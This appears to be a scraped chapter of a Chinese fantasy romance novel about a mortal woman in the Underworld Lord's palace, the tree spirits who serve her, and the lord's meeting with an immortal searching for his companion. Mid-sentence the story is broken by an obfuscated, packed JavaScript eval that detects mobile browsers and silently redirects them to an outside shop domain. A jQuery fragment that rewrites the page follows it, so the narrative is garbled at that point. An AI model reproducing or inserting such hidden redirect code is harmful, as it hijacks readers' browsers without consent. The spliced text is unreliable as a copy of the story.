树精生于冥主殿后山。
它们生性温吞,酷爱莳花弄草,故而将冥主殿外打理的花繁叶茂。除了打理花草,它们还负责清洁环境,偶尔也会帮冥主大人煮净神汤。可现在,它们多了一项任务,那就是给凡人做菜。
冥主殿近日出现了一个凡人女子。她睡在冥主寝殿的床上怡然自得,冥主大人也没说什么。
所以树精们揣测,冥主大人也到了发-情的时候了,这凡人女子是他的配偶。
它们拿出浑身解数做了诸多好菜,准备讨好它们的新主人。
叩开房门,树精们头顶着餐盘鱼贯而入。
寝殿内常年闭合的厚重窗帘被拉开了,温暖的阳光洒满半个屋子。斜照的光线里,翻飞的尘埃甚少,可见树精们清洁工作做得很到位。
寝殿的床是由一整块举世稀有的焰冰玉打造而成——此玉孕育于熔岩处,却拥有令人惊叹的极寒属性。
冥主大人爱睡,凡人却不爱。所以那上面铺上了轻柔的床垫与几层滑溜溜的被子。
新主人颇爱自言自语,跟空气讲话。但树精们不会好奇,所以不多看也不多问。将餐盘放于床前桌上,它们又安静地退出。只剩下一个小绿,为它们的辛劳进行一个总结:“仙子,菜已经做好了,您还有什么吩咐嘛?”
漆瑭看着满桌青的、黄的、红的树叶草叶果子们,有一瞬的无语。但摆盘一看就是经过精心设计的,所以她伸手揉了揉半人高的小怪物的脑袋,嘉奖道:“没有了,做得很好,多谢你们。”
绿色的小怪物肉眼可见地变红了,它仓惶地捂住被摸过的脑壳,跌跌撞撞跑走了。
漆瑭满足地喟叹一声,对这拼了老命争取来的自由美好生活感到满意。她挑出几枚杏子边吃边问身边的季棠:“对了,他说的执念体……是什么?”
季棠有些怅惘,有些失神。
执念体,是因生前执念而生的,从生过渡到死的不可逆形态。执念越深,存世越久。
可这千千万万世,无数形态各异的执念体中,存世最久的,却是一位守护孩子一年的仙君母亲。
大多数执念体不过几息、几刻、几日便会消散。
所以——
“漆瑭啊,我没有多少时间了。”
执念体的情感大多单一,往往会变得极为偏执。季棠觉得自己像在沙漠中独行的旅人,遥望执念的海市蜃楼,拼命挣扎。
她这才意识到原来那海市蜃楼,是她到不了的地方。所以惊慌,绝望。
但突然,她发现自己并不孤单。她落入了一个怀抱。
是漆瑭。
尽管这怀抱无形无感,季棠却切切实实地感受到了温暖。彷佛她真的给了她一个触手可及的拥抱。
“会有办法的,来得及,相信我。”
少女的声音充满力量,春雨般洒落在季棠干裂出细纹的心脏上。
季棠张了张嘴,喉咙竟干涩难言。泪意涌入鼻腔,却烫得她想大笑。
……
“咚咚咚。”忽有谁敲门。
竟是那绿色的小怪物去而复返。
“请进。”杏子不够甜,透着微微的酸,漆瑭不喜欢。她另挑出一碟剥好的橘子,橙色的橘瓣上洒着晶莹的液体,似乎是某种调味汁。橘子清香混杂着清爽草香,莫名令人食指大动。
小怪物垂着头,看起来颇为羞涩,“是这样的仙子,我们……我们有一个请求……”
“请讲。”她咬了一口沾着调味汁的橘子,酸意顿时直冲天灵盖!
“不知可否,可否劳烦仙子……给尊上送碗净神汤呢?”
要说生性温吞的树精们最怕什么,无可訾议的就是给冥主送汤药。对强势强者的恐惧,刻进了它们的生物本能。冥主大人一个眼神瞥过来,它们就怕的想要原地融化。
可是冥主的配偶却不会让它害怕,那柔软的手揉得它好生羞怯!于是它们都知道了,她是一个温柔的凡人。
所以它们想,给冥主送药对温柔的冥主配偶来说,一定是微不足道的小事……吗?
她哭了!!!
小绿吓得脸色煞白,结结巴巴道:“仙子……您不要哭了,是我们的错,我们不该……”
“无妨,我可以帮你们。”漆瑭拎起餐巾捂住汹涌的眼泪,“但是你们以后不许再给我吃这个调味汁了……拿几个没剥皮的橘子来,要甜的!”
小绿:啊?!
**
“禀尊上,让尘仙君仍在外冥界,说是他身边那位仙子,生要见人,死要见尸。”
前殿内,桌前立着黑白二位鬼将。
黑将禀完,更为圆滑的白将颇有默契地继续解释:“是这样的尊上,让尘仙君每隔三五年就要来咱们冥界讨要琼华仙君仙骸,回回将外冥界毁得不像样。这回我二鬼见他身边跟着位仙子,看起来颇得看重……所以,所以……”
黑将接着道:“所以我们将那位仙子绑了,做了个假仙骸,令让尘仙君从二者中挑选一个,另一个便丢入无望崖。”
白将点点头,神色尴尬地搓搓手,“是的是的,本来我们想……既然那仙子颇得看重,那让尘仙君应该会知难而退,带着那仙子离开就是了……”
易昀抬起头,眼神里流露出显而易见的兴味,示意他继续说。
见冥主似乎没什么怪罪的意思,白将这才敢继续往下说:“熟料……熟料那位仙子颇有气性,嚷着‘用我这飘零之躯换回琼华仙君仙骸’,就……就跳下去了!”
黑将点头附和:“她自己跳的。”
易昀支着下巴,眼神沉沉的。
仙子跳了无望崖,却没在黄泉罅身魂俱灭,反而阴差阳错穿过黄泉罅进入了内冥界。然后身躯被异世之魂占领,魂魄凝为执念体。
原来如此,不过如此。
“不必管他,你们自己去领罚。”易昀眼中的兴味消失,雷厉风行地将此事解决。他垂头继续处理积压的冥界政务,毕竟后日,他就要离开冥界了。被镇千年的恶蜮逃逸,兹事体大,他必须亲自处理。
黑白二将心里泛着苦,面上却半点不敢表露,老老实实地行礼离开。刚走到大门,忽又听见冥主大人吩咐道:“本尊改主意了,让白竹进来。”
与此同时,寝殿内。
三只树精齐力搬进一大筐新鲜采摘的橘子,放在漆瑭床前触手可及的地方。
另两个离开后,小绿眨巴眨巴眼,仰头看着漆瑭,满脸写着“求表扬”。
漆瑭伸手揉了揉它的脑壳,“干得不错。”
小绿
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13579087|143077||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
又一次浑身上下缓缓变红。
漆瑭敲了敲放在桌上的滚烫镇魂汤,浑不在意似的问道:“这汤,尊上大概多久喝一回?”
单纯的树精不懂人类的弯弯绕绕,挠挠头老实道:“有时一年一回,有时一月一回,总是不固定的。尊上吩咐了,我们才会熬呢!”
“哦……”她剥了一瓣橘子喂给树精,“那尊上为何要喝这种汤?看起来这么苦。”
小绿吃着温柔凡人亲手剥的橘子,整只树精飘飘然起来,“苦,苦得很呢!尊上是为了压制心魔呀,除了喝净神汤,偶尔还会遣望山公子来奏镇魂曲,有时候还会去灵湖闭关呢!”
“那你们可见过尊上犯心魔的模样?”
小绿头摇得像拨浪鼓,“没有,从没见过。”
漆瑭和身旁隐形人似的季棠对视一眼,心照不宣。
看来当日杀破蝎潮与虫雾,救下漆瑭并与她结了心契的,就是心魔状态的冥主。
就像双重人格一样,他们性格不同,记忆也不同。
可是,心魔态的他为何会与她结心契呢?
漆瑭端起净神汤,跟在带路的小绿身后,往冥主前殿走去。
少女的身影倒映在光洁如镜的玄玉地面上,鹅黄色的裙摆交织,一内一外,颠倒相生。
“啪——”
一卷留影竹简被砸在玄玉地面上,倒影中,一个白衣身影俯身将其捡起。
“这是外冥界损毁的账单,一草一木俱登记在册。”易昀坐于高处,漫不经心道:“另一份本尊已遣人送去玄机宗了,让尘长老,记得赔。”
白竹,也就是让尘仙君。背一柄“破雪”长剑,白袍纤尘不染,长发秀逸,丰神俊朗。生得一副正人君子的好相貌。
他没有正面回应易昀。握紧手中“账单”,脊背挺得笔直,言辞不卑不亢,“敢问冥主,生人若入黄泉罅,可能有何生机?”
易昀此人专断且爱迁怒,他在漆瑭身上栽了跟头,却又不能拿她怎么办,就得从旁人身上找回来。
正巧这时,白竹自己撞上来了:若不是因为白竹,那个执念体怎么会死?那个异世女人又怎么会来到这里,还和他结了心契?
有理有据。
“也许吧。”他的话似是而非,眼神也似笑非笑,存了心要看白竹玩笑似的。
白竹深感耻辱,但是为了棠棠,他决定忍。
他忍得不算好,哪怕看上去很努力地在演了,眉目间也难免露出羞愤与矜傲。他继续道:“冥主可能不知道,当日贵司两位鬼将……”
易昀看得索然无味,莫名想到了漆瑭。
她更会忍,也更会演。一举一动、一颦一蹙都拿捏得恰到好处。平静时如此,激动时也如此。最痛的时候,她眼眶里的泪都要溢出来——可偏偏没有。
她倔强地昂着头,两只眼睛像两汪浅湖。
那会,他突然觉得跟她较劲的自己很没意思。
也许是有了对比,于是高下立判,他竟忽然觉得她倒是有几分有趣。
易昀有些走神,没什么焦距的目光游移,瞥到了自门外走入的一个人影。
凝固般的平静眼神微动,深处的绿意活跃起来,他勾起唇角,好整以暇地问白竹:“你要找的人,是那个吗?”